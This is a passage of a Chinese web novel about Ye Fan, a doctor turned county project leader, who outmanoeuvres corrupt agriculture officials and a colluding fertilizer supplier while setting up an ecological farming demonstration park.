“差不多,刚给一个大块头的‘病人’做完体检。”叶凡靠在椅背上,看着窗外掠过的田野,心情也放松下来。
“贫嘴。”苏沐秋轻哼一声,“体检结果怎么样?病人还有救吗?”
“病得不轻,但病因找到了,不是绝症。”叶凡笑了笑,“主要是‘营养不良’加‘内分泌失调’,长期‘生活习惯’也不好。”
电话那头的苏沐秋被他这比喻逗得咯咯直笑,像一串银铃。
笑完,她才压低声音说:“你小心点,我听说张**今天下午,把农业局的局长叫去办公室,谈了很久。李县长的这个项目,可是动了不少人眼红的蛋糕。”
“意料之中。”叶凡的眼神平静下来,“沐秋,帮我查查,之前给这个示范园提供种苗和化肥的供应商,都是什么来头。”
“没问题,包在我身上。”苏沐秋干脆地答应了,“对了,你答应我的那顿水煮鱼,什么时候兑现?别等你的‘病人’出院了,主治医生倒先忘了。”
“忘不了。”叶凡的声音里带着一丝自己都没察觉的温柔,“等我开完这张‘药方’,就给你做。保证鱼肉鲜活,麻辣够味。”
“那说定了,我等着我们青川县首席‘跨界农艺师’的大餐!”
挂了电话,叶凡嘴角的笑意还未散去。
他知道,苏沐秋不仅是他的战友,更是他在这条路上,一抹最温暖的亮色。
他转头看向窗外,夜幕正在降临。
**把这个“烫手山芋”扔给他,既是考验,也是机会。
他要做的,不仅仅是治好这片土地的“病”,更是要通过这张“药方”,在青川县这盘复杂的棋局上,落下一个至关重要的子。
回到宿舍,叶凡将采集的样本一一摆开,打开电脑,开始整理白天的记录和数据。
他合上笔记本时,一份详尽的“诊断报告”已经成型。
报告的标题,他思索了片刻,写下了八个字:
《关于生态农业示范园的病理分析与治疗建议》。
这不是一份农业报告,这是一份即将改变青川县权力格局的手术方案。
第73章 杀鸡儆猴,新官立威!
县政府常务会议结束不到一个小时,叶凡用一份报告把农业局长钱大勇驳得体无完肤,还被**县长火线提拔为项目常务副组长的消息,就像一阵风,吹遍了县委大院的每一个角落。
有人惊叹,有人观望,有人不屑。
农业局局长钱大勇的办公室里,气氛压抑得像结了冰。
他最心爱的那套紫砂茶具,被他“失手”扫落在地,摔得粉身碎骨,就像他今天在会场上碎了一地的脸面。
“欺人太甚!一个**都没长齐的医生,也敢在我头上动土!”钱大勇的胖脸扭曲着,眼睛里布满血丝。
他不是气叶凡,是气**。
这分明是**借着这个外来户,向他,向他背后的人,公然宣战!
“局长,现在怎么办?李县长这是把刀架在我们脖子上了。”副局长凑上来,满脸忧色,“那几家供应商,可都等着我们给信儿呢。”
钱大勇猛地站起身,抓起外套:“怎么办?天塌不下来!青川县,还不是他**一个人说了算!我去见张**!”
……
第二天一早,“青川生态农业示范园项目特别工作组”的牌子,就挂在了县政府大楼三层一间临时腾出来的办公室门口。
办公室里,几张旧桌子拼在一起,坐着从农业局、财政局、水利局等几个单位抽调来的“精兵强将”。
说是精兵强将,可一个个脸上都写着“不情不愿”,尤其是农业局来的那位,叫吴兵的科长,两条眉毛拧成了疙瘩,看谁都像欠了他钱。
叶凡推门进来时,办公室里正聊得热火朝天,见他进来,声音戛然而止。
**的秘书小王立刻迎上来:“叶副组长,您来了。”
叶凡点点头,目光扫过全场,将所有人的表情尽收眼底。
他没说什么官话,直接走到主位坐下,开门见山:“各位,时间紧,任务重,客套话我就不说了。这是我根据昨天会议精神拟定的一份行动计划,大家先看一下。”
文件发下去,吴兵科长只瞥了一眼,就阴阳怪气地开了口:“叶副组长,您这计划……是不是太理想化了?三天内完成全园土壤勘测和水质分析?我们局里光走流程,都不止三天。”
叶凡像是没听出他话里的刺,笑了笑:“吴科长,特殊时期,要用特殊办法。李县长已经特批,项目组所有工作,走绿色通道,特事特办。”
吴兵被噎了一下,又找到了新的茬:“那设备呢?我们局里那几台最先进的土壤成分分析仪,上周就送去保养了,没个十天半月回不来。总不能让叶副组长您,用医院的设备去化验土疙瘩吧?”
他这话一出口,办公室里响起几声压抑的窃笑。
大伙儿都看出来了,这是钱局长授意的人,来给新官下马威了。
所有人都看着叶凡,想看他怎么收场。
是拍桌子发火,还是灰溜溜地去找李县长告状?
叶凡没发火,反而脸上的笑意更浓了。
他靠在椅背上,手指轻轻敲着桌面:“哦?是这样啊。保养设备是大事,安全第一,我完全理解。”
吴兵的嘴角已经忍不住微微上翘。
看来这专家,也不过如此,中看不中用。
“不过呢,”叶凡话锋一转,看向秘书小王,“小王,麻烦你现在就起草一份文件,红头,加急。”
小王愣了一下,随即会意,拿出笔记本。
“标题就叫《关于农业局部分关键设备长期保养可能影响县重点项目进度的紧急报告》。”叶凡的语速不快,但每个字都像手术刀一样清晰,“内容很简单,就写:因县农业局核心设备,如土壤成分分析仪等,均在‘保养’中,归期未定,已严重影响县政府常务会议决议的‘生态农业示范园’项目进度。为确保项目不延期,特申请县政府协调,或批准项目组启动紧急采购程序,另行购置新设备。另外,请吴兵科长,把保养设备的厂家、合同、以及具体的保养项目清单,附在报告后面,作为附件。”
他看着脸色开始发白的吴兵,微笑着补充了一句:“这份报告,五点前,我要亲手交给李县长。哦对了,抄送一份给县纪委备案。”
“轰”的一声,吴兵感觉自己脑子里有根弦断了。
紧急采购?抄送纪委?这他妈是要上天啊!
他只是想拖延一下,恶心恶心叶凡,可叶凡这一手,直接就把他架在了火上烤!
如果报告交上去,李县长肯定会批,到时候真买了新设备,钱大勇那边怎么交代?
纪委要是顺藤摸瓜,查出所谓的“保养”根本子虚乌有,他吴兵就是第一个替死鬼!
办公室里,刚才还在窃笑的人,现在连大气都不敢喘。
他们看着叶凡的眼神,已经从看热闹,变成了看怪物。
这哪里是医生,这分明是**规则的魔王!
“叶……叶副组长!”吴兵的冷汗,瞬间就下来了,脸上的嚣张荡然无存,换上了一副快要哭出来的表情,“我……我刚才想起来了!那几台设备,好像……好像今天下午就能保养完!我记错了,记错了!我这就
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去催!保证不耽误项目进度!”
说完,他像是躲避瘟神一样,连滚带爬地冲出了办公室。
整个办公室,死一般的寂静。
半晌,小王才一脸崇拜地凑过来,压低声音:“叶副组长,您这招……太狠了。”
叶凡端起茶杯,吹了吹热气,云淡风轻地说:“没什么,以前在科室,总有不听话的实习医生,说两句就老实了。”
“噗嗤——”
不知是谁先没忍住,笑了出来。
随即,整个办公室都爆发出哄堂大笑。
之前的对立和隔阂,在这笑声中烟消云散。
剩下的几位组员,再看向叶凡时,眼神里已经满是敬畏和服从。
新官上任的第一把火,烧得又快又旺,没伤到人,却把所有“猴”都吓得服服帖帖。
傍晚,叶凡刚回到宿舍,苏沐秋的电话就追了过来,声音里满是藏不住的笑意:“叶大组长,听说你今天又给青川县的官场,做了一次漂亮的‘微创手术’?听说病人吴科长术后恢复良好,失忆症都治好了。”
叶凡靠在窗边,看着天边的晚霞,心情也难得地放松下来:“消息挺灵通啊,苏大记者。”
“那当然,我的线人遍布青川。”苏沐秋得意地哼了一声,随即语气正经了些,“说正事。张**今天下午召集了几个核心部门的头头开会,钱大勇也在。我猜,跟你的项目有关。李县长虽然保你,但你也别太大意,县委**毕竟是一把手。”
“我知道。”叶凡的眼神沉静下来,“他早晚会出手的。”
话音刚落,他的手机又响了,是一个陌生的座机号码。
“沐秋,先不聊了,有电话进来。”
挂了电话,叶凡按下了接听键。
“喂,你好。”
电话那头,传来一个沉稳而有力的声音,带着不容置疑的威严。
“是叶凡同志吗?我是张海涛。”
叶凡的心,猛地一沉。
“张**,您好。”
“你的报告,我看了。想法很大胆,也很有意思。”张海涛的声音听不出喜怒,“不过,这么大的项目,必须统一思想,步调一致。明天上午九点,到我办公室来一趟,县委要听听你的具体构想。”
说完,电话**脆地挂断。
叶凡握着手机,站在窗前,久久没有动。
夜色,已经彻底笼罩了青川县城。
如果说**的办公室是一场资格审查的面试,那么明天,县委**的办公室,就是真正的鸿门宴。
风,真的来了。
第74章 **设宴,绵里藏针!
清晨的阳光,透过百叶窗的缝隙,在叶凡的办公桌上投下几道斑驳的光影。
他昨晚睡得并不安稳,脑子里反复推演着即将到来的会面。
县委**张海涛,青川县名副其实的一号人物,他的办公室,在县委大院里被称为“天子脚下”。
**的秘书小王,一早就打来了电话,语气比平时更郑重了几分:“叶副组长,李县长让我转告您,放平心态,实事求是,有一说一。”
叶凡明白,这是**在给他吃定心丸,也是在提醒他,此行不是孤军奋战。
“谢谢王哥,我明白。”
挂了电话,他整理了一下自己的着装。
不是西装革履,依旧是那身干净利落的白衬衫和深色长裤,这身打扮让他看起来更像个学者,而非官员。
八点五十分,叶凡准时出现在县委**办公室门口。
张海涛的秘书,一个戴着眼镜、看起来很精干的年轻人,客气地将他引了进去。
办公室很大,迎面是一面墙的巨大书柜,里面摆满了各类精装书籍和文件汇编。
另一面墙上,挂着一幅巨大的青川县规划图,上面用红蓝铅笔标注着密密麻麻的符号,彰显着主人的雄心。
张海涛正站在规划图前,背着手,身形高大,仅仅一个背影,就透出一股不怒自威的气场。
“来了?坐。”张海涛转过身,脸上带着一种公式化的微笑,指了指待客区的沙发。
叶凡注意到,农业局局长钱大勇,正襟危坐地坐在沙发的另一头。
他看到叶凡,眼神里闪过一丝怨毒,但很快又低下头,像个等待老师训话的小学生。
这阵仗,果然是三堂会审。
“叶凡同志,你的报告,我看了。”张海涛亲自给叶凡倒了杯茶,动作不紧不慢,“写得很好,思路清奇,角度新颖。我们青川县,就需要你这样有知识、有想法的年轻干部。”
开场就是一顶高帽,叶凡端起茶杯,轻声道:“谢谢张**夸奖,我只是从专业角度,提了点不成熟的看法。”
“诶,不要谦虚嘛。”张海涛摆了摆手,在主位上坐下,身体微微前倾,压迫感十足,“你一个医学专家,能把农业问题看得这么透彻,不简单。李县长跟我提过好几次,说你是个人才,要重点培养。”
他话锋一转,语气里带上了一丝长辈式的语重心长:“不过,小叶啊,你还年轻,看问题,有时候容易只看技术,忽略了全局。”
叶凡心中一凛,知道戏肉来了。
张海涛端起茶杯,吹了吹浮沫:“你那个方案,从技术上、从预算上看,确实很漂亮。但是,同志啊,我们搞工作,不能只算经济账,还要算**账。”
他放下茶杯,看向一旁的钱大勇:“大勇同志,你来说说,原来的方案,是怎么考虑的?”
钱大勇像是得了圣旨,立刻坐直了身体,清了清嗓子:“张**,叶副组长,是这样的。我们原来的方案,之所以选择跟市农科院合作,采购他们推荐的设备和产品,主要是考虑到,农科院的专家,代表着全市最权威的技术方向。我们青川县的农业要发展,离不开市里专家的指导和支持。这笔钱,表面上看是采购费,实际上,也是我们对上级技术部门的一种‘投资’,是为了建立更紧密的合作关系。”
他越说越顺,仿佛又找回了在常务会前的那份自信:“叶副组长的方案,用生物防治代替高效农药,用国产设备代替进口设备,听起来是省钱了。可万一,我是说万一,出了问题怎么办?到时候,市里的专家两手一摊,说我们不听劝告,这个责任谁来负?我们这是把未来的路,给走窄了啊!”
这番话,说得冠冕堂皇,滴水不漏。
把“利益输送”包装成了“搞好关系”,把“铺张浪费”美化成了“长远投资”。
张海涛满意地点点头,看向叶凡:“小叶,听到了吗?大勇同志考虑问题,就很全面。我们做事情,不能因为省几个钱,就伤了和气,断了人脉。你和李县长,都是纯粹的实干家,这一点很好,但有时候,也要学着灵活一些。”
这一唱一和,配合得天衣无缝。
帽子扣下来,如果叶凡再坚持,那就是“不懂**”、“破坏团结”、“眼光短浅”。
办公室里的空气,仿佛凝固了。
叶凡却笑了。
他放下茶杯,看着张海涛,眼神清澈而坦然:“张**,钱局长,我还是想从我医生的老本行,来打个比方。”
“一个病人来了,得了重感冒。我作为医生,给他开了三天的感冒药和消炎药,一共五十块钱,告诉他多喝水多休息,病就好了。这是我的方案。”
“而另一位专家说,不行,这个病人身份特殊,我们不能只看病,还要考虑他背后的人脉资源。所以,我们应该给他用上最好的进口抗生素,再配上人参、鹿茸吊着,一天花五千,住最好的VIP病房。这样,病人高兴了,他身后的资源也就向我们倾斜了。这是钱局长的方案。”
这个比喻,尖锐又形象,让钱大勇的胖脸瞬间涨成了酱紫色。
张海涛的眼角也微不可察地抽动了一下。
叶凡没有停,继续说道:“张**,您说要算**账。我觉得,最大的**,就是老百姓的口碑,是县财政的健康。我们花一百万,办成了两百万的事,老百姓会念我们的好,上级领导会肯定我们的能力,这才是最优质、最牢固的‘人脉’和‘**资本’。”
“反之,如果我们花了两百万,只办了一百万的事,甚至事情还没办成,只是为了所谓的‘搞好关系’。那老百姓会怎么看我们?纪委的同志会怎么看我们?这笔**账,我们真的算得清楚吗?”
他的声音不高,却字字千钧,在空旷的办公室里回响。
他没有反驳张海涛的“**账”理论,而是重新定义了什么才是“最大的**账”。
张海涛深深地看着叶凡,眼神里第一次没有了笑意,取而代之的是一种
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审视,一种像是猎鹰发现了对手的锐利。
他沉默了足足半分钟。
这半分钟里,钱大勇如坐针毡,冷汗已经浸湿了后背的衬衫。
他感觉自己不是坐在沙发上,而是坐在手术台上,被叶凡用无形的刀,一刀一刀地解剖。
“呵呵……”张海涛忽然笑了起来,打破了沉寂,“有意思,真有意思。看来我们青川县,真是来了一位能文能武的‘儒将’啊。”
他站起身,重新走到那幅巨大的规划图前,背对着叶凡和钱大勇。
“既然县政府已经定了,我这个当**的,自然要支持。”他的声音听起来像是从很远的地方传来,“年轻人,有锐气是好事。我等着看你的成果。”
他顿了顿,语气变得意味深长:“不过,丑话说在前面。示范园项目,是县里的重点工程,只许成功,不许失败。如果出了任何纰漏,影响了全县的发展大局,到时候,可就不是写一份报告那么简单了。”
威胁,毫不掩饰的威胁。
叶凡站起身,整理了一下衣角,不卑不亢地回答:“请张**放心,我既然敢立军令状,就有信心打赢这一仗。”
“好,我拭目以待。”
……
从县委**办公室出来,走廊里的风一吹,叶凡才感觉到,自己的后背也起了一层薄汗。
钱大勇跟在后面出来,经过叶凡身边时,脚步停顿了一下,压低了声音,从牙缝里挤出几个字:“小子,你别得意得太早!”
叶凡没理他,径直走向楼梯口。
他知道,今天的鸿门宴,他虽然没输,但也谈不上赢。
他只是守住了自己的阵地,但张海涛的警告,像一柄达摩克利斯之剑,悬在了他的头顶。
他必须成功,而且要大获成功,才能将这柄剑彻底击碎。
回到项目组办公室,所有人都围了上来,脸上写满了关切。
“叶副组长,怎么样?”小王紧张地问。
叶凡环视一圈,看着大家期待又担忧的眼神,脸上露出了轻松的笑容:“没事,张**对我们的方案很支持,让我们甩开膀子加油干。”
办公室里,顿时爆发出了一阵欢呼。
叶凡心里却一片澄明。
他走到窗边,掏出手机,给苏沐秋发了条信息。
“宴席散了,菜很硬,茶很苦。”
很快,苏沐秋回复过来,只有一个字,和一个表情符号。
“牛!”
后面跟着一个“奋斗”的表情。
叶凡笑了,心中的压力,似乎也消散了不少。
他看向窗外,那片位于城郊的土地,正在静静地等待着。
张海涛给了他舞台,也给了他枷锁。
他要做的,就是在这有限的舞台上,戴着枷锁,跳出一支最惊艳的舞蹈。
他拿起桌上的电话,拨通了农业局办公室的号码。
“喂,我叶凡。通知吴兵科长,半小时后,项目组全体成员,在示范园门口集合。我们的‘手术’,现在开始。”
第75章 釜底抽薪,巧破僵局!
项目组的临时办公室里,昨天被叶凡一招“**”吓破了胆的吴兵科长,此刻又恢复了几分底气。
他站在叶凡面前,脸上挂着一副为难又无奈的表情,手里捏着一张请假条。
“叶副组长,真是不巧。局里操作那台精密土壤分析仪的老师傅,王工,今天一早突发急性肠胃炎,上吐下泻,这是他托人送来的假条。您看这……”
办公室里瞬间安静下来,所有人的目光都聚焦在叶凡身上。
昨天还热火朝天的气氛,像是被当头浇了一盆冷水。
大家心里都跟明镜似的,哪有这么巧的病?
这分明是农业局钱大勇的后手。
你叶凡不是能耐吗?我直接釜底抽薪,把操作仪器的技术员给你抽走,看你这“手术”怎么做下去。
一个从水利局抽调来的年轻人忍不住小声嘀咕:“这不耍无赖吗?设备有了,没人会用,这不是把人往死里整?”
吴兵听见了,干咳两声,把腰杆挺直了些:“话不能这么说。王工年纪大了,身体不好,谁也预料不到。那台仪器是德国进口的,精密得很,操作规程几百页,除了王工,局里没人敢碰。要不……咱们等王工病好了再说?也就一个礼拜的事。”
一个礼拜?
黄花菜都凉了。
张海涛**的警告还言犹在耳,**县长更是把宝都押在了这个项目上。
如果第一天就被一个“病人”给挡住了去路,那叶凡这个常务副组长,就成了整个青川县的笑话。
所有人都看着叶凡,等着他发火,或者去找李县长告状。
叶凡却出奇地平静,他甚至连那张假条都没看,只是端起茶杯,轻轻吹了口气。
“急性肠胃炎啊,这是常见病。严不严重?用不用我过去给瞧瞧?”
吴兵被他这不咸不淡的态度搞得一愣,连忙摆手:“不……不用劳烦叶副组长,小毛病,他家里人送去医院了。”
“哦,那就好。”叶凡放下茶杯,站起身,“走吧,带我去看看那台仪器。”
吴兵心里咯噔一下,不知道叶凡葫芦里卖的什么药,但还是硬着头皮在前面带路。
一行人来到农业局的检测中心。一间恒温恒湿的房间里,一台半人多高的白色仪器安静地立着,机身上印着一串德文,充满了工业设计的美感。
“就是这台。”吴兵指着仪器,语气里带着一丝炫耀,“全江城市都没几台,当初买来,花了大价钱。”
叶凡围着仪器走了一圈,像是在审视一个特殊的病人。
他没有去碰那些复杂的按钮,而是拿起旁边桌上一本厚得像砖头一样的德文原版说明书,翻看了起来。
办公室里的人面面相觑,一个医学博士,难道还懂德文和精密仪器?
叶凡翻得很快,那双眼睛像扫描仪一样,迅速掠过一页页复杂的电路图和操作指令。
半晌,他合上说明书,看向吴兵。
“吴科长,我问你几个问题。这台仪器的日常校准,用的是哪种标样?光栅的清洁周期是多久?上次更换氘灯是什么时候?”
一连串专业问题,问得吴兵目瞪口呆,张着嘴,一个字也答不上来。
他只知道这玩意儿很贵,具体怎么伺候,那是王工的事。
叶凡笑了笑,没再为难他,而是径直走到仪器前,按下了电源键。
嗡——
仪器发出一声轻响,屏幕亮起,跳出一连串的德文提示符和警告标志。
“看见没?开机都开不了,全是故障码。”吴兵像是找到了救命稻草,连忙说道。
叶凡没理他,手指在键盘上飞快地敲击起来,调出了仪器的后台日志。
他的眉头微微皱起。
“有意思。”他自言自语道。
“叶副组长,您……您看懂了?”旁边一个年轻的技术员,忍不住好奇地问。
“谈不上懂,略知一二。”叶凡的目光依旧盯着屏幕,“以前在医院,跟心外手术室那些进口的体外循环机、麻醉机打交道比较多,原理大同小异。”
他这话一出口,周围的人看他的眼神彻底变了。
那已经不是在看一个领导,而是在看一个深不可测的怪物。
叶凡指着屏幕上的一行代码,对吴兵说:“这仪器没坏。”
“没坏?”吴兵不信,“那怎么……”
“它不是坏了,是被人动了手脚。”叶凡的语气很平静,却让整个房间的温度都降了几分,“这就像做手术,我把你的血管接错了,心脏还在跳,但血液已经逆流了。外表看,人是活的,其实马上就要完蛋。”
他解释道:“有人故意把仪器的校准参数全部清零了,还输入了一组错误的基准值。这样一来,就算王工回来,只要开机,仪器就会自动报警锁定。他如果胆子小,只会以为是仪器出了大故障,根本不敢动。如果他胆子大,强行操作,测出来的数据也全都是废品,南辕北辙。”
“这……这是蓄意破坏啊!”有人惊呼出声。
所有人的目光都下意识地看向了吴兵。
吴兵的脸“刷”的一下白了,冷汗顺着额角就流了下来。
他只是奉命行事,让王工“生病”,可没让人搞破坏啊!
这要是查出来,他就是第一责任人!
叶凡没再看他,重新坐到仪器前,双手放在键盘上,深吸一口气。
那一瞬间,他整个人的气场都变了,仿佛又回到了无影灯下的手术台,冷静、专注,掌控一切。
他的手指开始在键盘上跳跃,一行行代码被输入、执行。
他没有再看说明书,所有的操作,仿佛早已烂熟于心。
办公室里,只剩下键盘清脆的敲击声和众人压抑的呼吸声。
十分钟后,叶凡按下了回车键。
屏幕上所有的红色警告符,瞬间消失。取而代之的,是一行绿色的德文——“SystemKalibriert,Bereit。”(系统已校准,准备就绪。)
“好了。”叶凡站起身,拍了拍手,像只是做了一件微不足道的小事。
整个房间,死一般的寂静。
半晌,那个年轻
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的技术员,才结结巴巴地问:“叶……叶副-组长,您……您是怎么做到的?”
“这仪器的操作系统,内核跟我们医院那台西门子的核磁共振仪是同一个版本,我熟。”叶凡云淡风轻地说。
他转过身,看着已经快要瘫软在地的吴兵,脸上露出和煦的笑容。
“吴科长,我看王工的病,不是急性肠胃炎,是‘技术恐慌综合征’,怕担责任。你现在给他打个电话,就说仪器我已经修好了,让他过来,我顺便给他做个‘心理疏导’,包教包会。不然,耽误了李县长和张**交代的重点项目,这个责任,恐怕就不是小小的肠胃炎能扛得住的了。”
这番话,说得又幽默又狠辣。
既是给了吴兵一个台阶下,又是把一把更锋利的刀,架在了他和钱大勇的脖子上。
吴兵浑身一哆嗦,哪还敢说半个不字,连滚带爬地跑出去打电话了。
办公室里,剩下的组员看着叶凡,眼神里已经只剩下崇拜和敬畏。
之前的隔阂、猜忌,在叶凡这神乎其技的操作面前,被碾得粉碎。
不到半小时,那位“上吐下泻”的王工,脸色红润地出现在了门口,一个劲儿地给叶凡道歉,说自己早上吃了不干净的东西,现在已经好了。
叶凡也没点破,真的手把手地教了他一遍如何进行系统重置和参数校准。
王工越学越心惊,越学越佩服,最后简直把叶凡当成了下凡的专家。
有了仪器,有了人,项目组的工作效率高得惊人。
当天下午,第一批土壤样本的精确分析数据,就摆在了叶凡的办公桌上。
数据结果,与叶凡之前仅凭经验做出的“望闻问切”的诊断,几乎完全吻合。
这一下,项目组里最后一点疑虑也烟消云散,所有人彻底拧成了一股绳,对叶凡的指令,执行得不打任何折扣。
傍晚,叶凡正在整理数据,手机震动了一下,是苏沐秋发来的信息。
“听说你今天改行当修理工了,还兼职心理医生?钱大勇现在估计正在办公室里砸东西呢。”
叶凡笑了笑,回复道:“我怀疑,给这台仪器做保养的公司,可能也有问题。你帮我查查,青川县农业局的设备维保合同,是跟哪家公司签的。”
“收到,我的叶大侦探。保证完成任务!”
放下手机,叶凡的目光再次投向窗外。
他知道,钱大勇的手段,绝不会仅此而已。张海涛也在冷眼旁观。
但今天,他不仅破了局,更重要的是,他彻底收服了这支临时组建的队伍。
这是他的兵,是他即将在这片土地上,打一场硬仗的资本。
桌上的红色座机,突然响了起来。叶凡拿起电话。
“叶副组长吗?我是李县长的秘书小王。”
“王哥,你好。”
“刚才县长看到你们项目组今天的工作简报了,”小王的声音里带着一股压抑不住的笑意,“县长让我给您带句话。”
“什么话?”
“县长说:‘干得漂亮!’”
第76章 一石二鸟,敲山震虎!
**县长那句“干得漂亮”,像一针强心剂,让整个项目组的士气达到了顶峰。
第二天,生态农业示范园呈现出一种前所未有的景象。
农业局的吴兵科长彻底成了叶凡的“铁杆粉丝”,鞍前马后,跑得比谁都勤快。
昨天还对叶凡爱答不理的技术员王工,今天则抱着个小本子,寸步不离地跟在叶凡身后,随时记录叶凡蹦出的每一个新名词,嘴里不停念叨着:“叶副组长,您再给讲讲那个‘土壤团粒结构’和‘有益菌群’的关系?太深奥了,比伺候那台德国机器还深奥!”
叶凡哭笑不得,他感觉自己不像个项目组长,倒像个下乡支教的老师,带了一群求知欲旺盛的“大龄儿童”。
玩笑归玩笑,工作推进得极快。
有了精确的土壤数据,叶凡的“药方”很快就出来了。
他摒弃了所有大牌的复合肥,而是根据不同地块“缺啥补啥”的原则,列出了一份详细的“营养配餐”清单,大部分都是基础的氮磷钾肥和有机菌肥。
病虫害防治,则选择了成本低廉且对环境无害的赤眼蜂和杀虫灯。
这份采购清单一出来,吴兵的脸又垮了下去。
“叶副组长,您这清单……好是好,就是……怕是不好买啊。”吴兵捏着清单,面露难色,“咱们县里,化肥和种苗的供应,基本都被‘德发农资’给垄断了。他们家,只卖成套的高档货,您要的这些零零散散的基础肥料,他们根本不屑于送。”
“德发农资?”叶凡对这个名字有印象,钱大勇最初的方案里,供应商就是这家。
“对,老板叫赵德发,是钱局长老婆的表哥。”吴兵压低了声音,生怕隔墙有耳,“这人……在县里横着走惯了,咱们绕开他,怕是要惹麻烦。”
叶凡笑了笑,手指在桌上轻轻敲了敲:“麻烦?我来这儿,就是专门解决麻烦的。这样,吴科长,你帮我发个通知,就说项目组要召开农资采购公开招标会,欢迎县内外所有有资质的供应商,前来竞标。德发农资,你亲自去送一份邀请函。”
“还……还请他来?”吴兵愣住了。
“当然要请。”叶凡的嘴角勾起一抹不易察觉的弧度,“不但要请,还要客客气气地请。我们是阳光采购,公平公正,不能搞区别对待嘛。”
吴兵看着叶凡那云淡风轻的表情,心里虽然犯嘀咕,但还是领命去了。
他现在对叶凡有种盲目的信任,总觉得这位年轻的领导,每一步都暗藏玄机。
……
傍晚,青川县城一家新开的川菜馆。
沸腾的水煮鱼端上桌,红亮的辣椒和翠绿的葱花铺了满满一层,香气扑鼻,让人食指大动。
“怎么样?没忘了答应你的大餐吧?”叶凡夹起一片雪白的鱼肉,放进苏沐秋碗里。
“算你有点良心。”苏沐秋吐了吐舌头,少了平日里的干练,多了几分娇俏,“不过,今天这顿饭,恐怕不安生吧?听说你又要跟钱局长的亲戚开战了?”
“消息真灵通。”叶凡无奈地摇了摇头,“你这哪是记者,简直是青川县的地下组织部长。”
“切!”苏沐秋白了他一眼,从包里拿出一个牛皮纸袋,推了过去,“少贫嘴,看这个。你让我查的,有眉目了。”
叶凡打开纸袋,里面是几份公司注册信息的复印件。
“给农业局那台德国仪器做维保的‘精科仪器服务公司’,和这家‘德发农资’,法人代表不是同一个人,但公司的注册地址,是同一个。而且,我托人查了他们的对公账户流水,有大额的资金往来。”苏沐秋压低声音,“最关键的是,精科公司的法人,是赵德发的小舅子。”
叶凡的目光,在那些文件上缓缓扫过,眼神越来越亮。
釜底抽薪?
钱大勇他们还不够格。
这叫监守自盗,左手倒右手,把县财政当成了自家的提款机。
“沐秋,这份礼,太重了。”叶凡将文件收好,看着苏沐秋,眼神里带着真诚的感激。
苏沐秋被他看得有些不好意思,夹了块鱼肉塞进嘴里,含糊不清地说:“行了,别煽情了。快吃,吃完我还要回去写稿呢。对了,柳如烟最近好像回江城了,我听电视台的同学说,她状态不太好,工作也暂停了。”
提到柳如烟,叶凡夹菜的动作顿了一下,随即又恢复了自然。
“都过去了。”他平静地说,语气里听不出一丝波澜。
苏沐秋看着他,没再继续这个话题。
她知道,有些伤疤,虽然愈合了,但阴雨天,还是会隐隐作痛。
……
招标会定在两天后,地点就在项目组的临时办公室。
会议室里,挤满了大大小小的供应商,但所有人都心照不宣,今天的主角,只有一个——德发农资的老板,赵德发。
赵德发四十多岁,挺着个啤酒肚,戴着大金链子,满脸横肉,一进门就咋咋呼呼,仿佛这会场是他家开的。
他压根没把这次招标会放在眼里,在他看来,这不过是走个过场。
青川县这块地,谁敢跟他抢食吃?
钱大勇派来的吴兵,缩在角落里,紧张得手心冒汗。
九点整,叶凡准时走进会议室。他没坐主位,而是搬了张椅子,坐在了投影幕布的旁边。
“各位老板,欢迎大家。时间宝贵,我们直接开始。”
叶凡没有半句废话,打开投影仪,屏幕上立刻出现了示范园土壤的各项数据分析图表,清晰、直观。
“这是我们示范园的‘体检报告’。我们的需求很简单,A地块,缺氮,需要补充尿素三十公斤;B地块,土质偏酸,需要撒施草木灰……”叶凡指着图表,像医生解读病历一样,将自己的采购需求一条条列出来,精确到了克。
在场的供应商们,大多都听懵了。他们卖了一辈子化肥,都是按袋卖,按亩算,哪见过这么买东西的?跟去中药铺抓药一样。
赵德发不耐烦地打断了他:“哎,我说叶副组长,你别整这些虚头巴脑的。不就是买点肥料吗?多大点事。我们德发农资,跟县里合作多少年了,讲的就是信誉。我给你们推荐我们公司最新的‘全营养生态复合肥’,德国技术,一包顶过去五包,省心省力,保证你们的菜长得又大又好!”
叶凡笑了笑,切换了下一张PPT。
“赵老板,您说的这款肥,我也研究过。成分不错,但里面的微量元素,我们这片地,根本不缺。花钱买一堆用不上的东西,这不符合我们项目组‘花小钱,办大事’的原则。”
“你……”赵德发的脸沉了下来,“叶副组长,你这是信不过我们公司的产品,还是信不过我赵某人?”
会场的气氛,瞬间紧张起来。
叶凡没有接他的话,反而像是忽然想起了什么,一
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脸关切地看向角落里的吴兵。
“对了,吴科长,咱们局里那台德国分析仪,最近运行还正常吧?”
吴兵一愣,不知道叶凡为什么突然问这个,但还是赶紧点头:“正常,正常!多亏了您!”
叶凡点点头,目光又转向了赵德发,语气悠然:“那就好。前两天那仪器出了点小毛病,差点耽误了县里的大事。我听说,负责维保的‘精科公司’,技术不太过关啊。”
他顿了顿,声音不大,却清晰地传到每个人耳朵里。
“我在想,像这种技术服务不过硬,还差点造成重大项目延误的公司,我们县里,是不是应该重新评估一下合作的必要性?特别是,如果这家公司,还跟我们的农资供应商,有着不清不楚的关系……那我们财政的钱,花得可就太冤枉了。”
话音落下,整个会议室,死一般的寂静。
赵德发的额头上,瞬间渗出了一层细密的冷汗。
他脸上的横肉,开始不受控制地抽搐。
他不是傻子,他听懂了。
叶凡这哪里是在说仪器,这分明是把刀架在了他的脖子上!
维保合同的猫腻要是被捅出去,他和他表哥钱大勇,都得吃不了兜着走!
他看着叶凡那张年轻而平静的脸,第一次感觉到了一种发自骨髓的恐惧。
这小子,不是医生,是阎王!
“叶……叶副组长……”赵德发的声音,干涩得像是砂纸在摩擦,“您说得对,说得对!花小钱,办大事!我们德发农资坚决拥护项目组的决定!您清单上要的那些……那些肥料,我们公司免……免费赞助了!就当是……就当是支持我们青川县的农业发展!”
“哗——”
全场哗然。
所有人都像看怪物一样看着赵德发,又看看叶凡。
免费赞助?这还是那个一毛不拔的铁公鸡赵德发吗?
叶凡却摇了摇头,一脸严肃:“赵老板,这怎么行?我们是政府项目,要走正规流程,怎么能随便接受赞助呢?这是原则问题。”
他拿起桌上的一份报价单,递了过去。
“这是我们根据市场价拟定的采购预算,您看看,如果没问题,就按这个价格签合同吧。”
赵德发颤抖着手接过报价单,只看了一眼,差点一口老血喷出来。
那上面的价格,比他的进货价还低了三成。
这哪是签合同,这分明是签投降书!
但他敢说一个不字吗?
“没……没问题!完全没问题!”赵德发从牙缝里挤出几个字,拿起笔,在那份“不平等条约”上,签下了自己的名字。
一场剑拔**张的招标会,以一种所有人都没想到的戏剧性方式,落下了帷幕。
